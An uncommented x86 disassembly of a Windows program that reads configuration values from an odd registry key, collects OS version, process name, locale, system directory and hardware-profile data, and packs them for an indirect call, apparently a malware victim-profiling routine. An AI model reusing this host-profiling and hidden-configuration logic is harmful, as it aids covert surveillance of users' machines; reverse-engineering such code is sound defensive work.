push 0x440234
lea ecx, [ebx + 0x8cc]
push 0x32
push ecx
call fcn.004205b2
add esp, 0xc
jmp 0x409354
push 0x208
lea edx, [ebp - 0x87c]
push 0
push edx
mov dword [ebp - 0x74cc], 0
call fcn.00423160
add esp, 0xc
lea eax, [ebp - 0x74cc]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x74dc]
push ecx
mov ecx, dword [ebp - 0x74cc]
lea edx, [ebp - 0x87c]
push edx
lea eax, [ebp - 0x73b0]
push eax
push 0
push str.lagsnameTow
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408e94
push 0x440234
lea edx, [ebx + 0x8cc]
push 0x43fa88
push edx
call edi
mov eax, dword [ebp - 0x74cc]
add esp, 0xc
push eax
jmp 0x40934e
push 0x3ff
lea eax, [ebp - 0xe73]
push 0
push eax
mov byte [ebp - 0xe74], 0
call fcn.00423160
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call edi
push 0
push 0
push eax
lea edx, [ebp - 0xe74]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call edi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ef2
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00416f30
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00423160
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408f33
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408f60
push esi
sub ecx, edi
lea edx, [ebp - 0x1b3c]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x1b3c]
push ecx
lea edx, [ebx + 0x8cc]
push 0x43fa88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x74cc]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push eax
jmp 0x40934e
push 0x208
lea ecx, [ebp - 0x87c]
push 0
push ecx
mov dword [ebp - 0x74cc], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x74cc]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74dc]
push eax
mov eax, dword [ebp - 0x74cc]
lea ecx, [ebp - 0x87c]
push ecx
lea edx, [ebp - 0x73b0]
push edx
push 0
push str.FroxMXOifjScall
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40904c
push 0x440234
lea ecx, [ebx + 0x8cc]
push 0x43fa88
push ecx
call edi
mov eax, dword [ebp - 0x74cc]
add esp, 0xc
push eax
jmp 0x40934e
push 0x3ff
lea edx, [ebp - 0xe73]
push 0
push edx
mov byte [ebp - 0xe74], 0
call fcn.00423160
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call edi
push 0
push 0
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call edi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4090b0
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3d92]
push eax
mov word [ebp - 0x3d94], dx
call fcn.00423160
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4090f1
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409120
push esi
sub ecx, edi
lea edx, [ebp - 0x3d94]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x3d94]
jmp 0x408f8a
lea edx, [ebp - 0x2d92]
xor ecx, ecx
push edx
mov word [ebp - 0x2d94], cx
call fcn.00423160
lea eax, [ebp - 0x2d94]
add esp, 0xc
push eax
mov ecx, str.GOZHUO
call fcn.00410ba0
add esp, 4
lea ecx, [ebp - 0x2d94]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x4091a7
push 0x44c21c
lea edx, [ebx + 0x8cc]
push 0x32
push edx
call fcn.004205b2
add esp, 0xc
jmp 0x409354
push 0x208
lea eax, [ebp - 0x87c]
push 0
push eax
mov dword [ebp - 0x74cc], 0
call fcn.00423160
add esp, 0xc
lea ecx, [ebp - 0x74cc]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x74dc]
push edx
mov edx, dword [ebp - 0x74cc]
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0x73b0]
push ecx
push 0
push str.GOZHUO
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x409237
push 0x44024c
lea eax, [ebx + 0x8cc]
push 0x43fa88
push eax
call edi
jmp 0x409344
push 0x3ff
lea ecx, [ebp - 0xe73]
push 0
push ecx
mov byte [ebp - 0xe74], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xe74]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409295
sub eax, edx
lea edx, [ebp - 0xe74]
push edx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x3d92]
push ecx
mov word [ebp - 0x3d94], ax
call fcn.00423160
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4092d6
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0xe74]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409301
push esi
sub ecx, edi
lea eax, [ebp - 0x3d94]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [ebp - 0x3d94]
push edx
lea eax, [ebx + 0x8cc]
push 0x43fa88
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x74cc]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x6baa]
push eax
mov word [ebp - 0x6bac], dx
call fcn.00423160
lea ecx, [ebp - 0x6bac]
add esp, 0xc
push ecx
mov ecx, str.RANK
call fcn.00410ba0
add esp, 4
lea edx, [ebp - 0x6bac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x4093b2
push 0x44c2e4
lea eax, [ebx + 0x994]
push 0x32
push eax
call fcn.004205b2
add esp, 0xc
jmp 0x409563
push 0x208
lea ecx, [ebp - 0x87c]
push 0
push ecx
mov dword [ebp - 0x74cc], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x74cc]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74dc], 0x104
mov dword [ebp - 0x73b0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74dc]
push eax
mov eax, dword [ebp - 0x74cc]
lea ecx, [ebp - 0x87c]
push ecx
lea edx, [ebp - 0x73b0]
push edx
push 0
push str.RANK
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x409442
push 0x44024c
lea ecx, [ebx + 0x994]
push 0x43fa88
push ecx
call edi
jmp 0x409553
push 0x3ff
lea edx, [ebp - 0xe73]
push 0
push edx
mov byte [ebp - 0xe74], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0xe74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4094a0
sub eax, edx
lea ecx, [ebp - 0xe74]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x2d92]
push eax
mov word [ebp - 0x2d94], dx
call fcn.00423160
lea eax, [ebp - 0xe74]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4094e1
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xe74]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0xe74]
mov esi, eax
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409510
push esi
sub ecx, edi
lea edx, [ebp - 0x2d94]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xe74]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x2d94]
push ecx
lea edx, [ebx + 0x994]
push 0x43fa88
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 0x74cc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x44c280
lea ecx, [ebx + 0x930]
push 0x32
push ecx
call fcn.004205b2
xor eax, eax
add esp, 0xc
push 0x4406ac
push str.kernel32.dll
mov dword [ebp - 0x7518], eax
mov dword [ebp - 0x7514], eax
mov dword [ebp - 0x7510], eax
mov dword [ebp - 0x750c], eax
mov dword [ebp - 0x7508], eax
mov dword [ebp - 0x7504], eax
mov dword [ebp - 0x7500], eax
mov dword [ebp - 0x74fc], eax
mov dword [ebp - 0x74f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4095d7
lea edx, [ebp - 0x7518]
push edx
call eax
jmp 0x4095e4
lea eax, [ebp - 0x7518]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x7518]
mov ecx, 6
cmp cx, ax
je 0x4095fe
mov edx, 9
cmp dx, ax
jne 0x409605
mov eax, 0x440264
jmp 0x40960a
mov eax, 0x44026c
push eax
lea eax, [ebx + 0xa5c]
push str.X86__s
push eax
call edi
add esp, 0xc
mov ecx, ebx
call fcn.0040c9a0
lea esi, [ebx + 0xad4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test esi, esi
je 0x409676
xor ecx, ecx
push eax
push ecx
push 0x400
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x409676
push 0x104
lea edx, [ebp - 0x87c]
push edx
push edi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x40966f
mov edx, esi
lea ecx, [ebp - 0x87c]
call fcn.0040df30
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0040c340
test eax, eax
je 0x40968f
push 0x43fe64
push 4
lea eax, [ebx + 0xcdc]
push eax
jmp 0x40969d
push 0x43fe68
push 4
lea ecx, [ebx + 0xcdc]
push ecx
call fcn.004205b2
mov edx, dword [ebp + 0xc]
lea eax, [ebx + 0xce4]
add esp, 0xc
push eax
mov dword [ebx + 0x124c], edx
call fcn.0040c140
add esp, 4
push 0x31
call fcn.00409fc0
push eax
lea ecx, [ebx + 0xee2]
push 0x32
push ecx
call fcn.00420cc4
add esp, 0x10
push 0x40
lea edx, [ebx + 0xf46]
push edx
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x32
lea eax, [ebx + 0x1184]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x74c4]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
lea eax, [ebx + 0x246e]
je 0x409735
push eax
lea edx, [ebp - 0x74c0]
push edx
lea eax, [ebx + 0xa70]
push eax
lea eax, [ebx + 2]
push eax
lea eax, [ebx + 0x35e]
push eax
lea ecx, [ebx + 0x11e8]
push ecx
jmp 0x409751
push 0
push eax
lea edx, [ebx + 0xa70]
push edx
lea eax, [ebx + 2]
push eax
lea eax, [ebx + 0x35e]
push eax
lea eax, [ebx + 0x11e8]
push eax
lea edx, [ebx + 0x39a]
lea ecx, [ebx + 0x296]
call fcn.00409960
mov ecx, dword [ebp - 0x7534]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
add esp, 0x18
push 0xae7c
push ebx
call eax
push ebx
mov esi, eax
call fcn.0041fce3
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x753c]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4097a9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x74d8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4097d2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret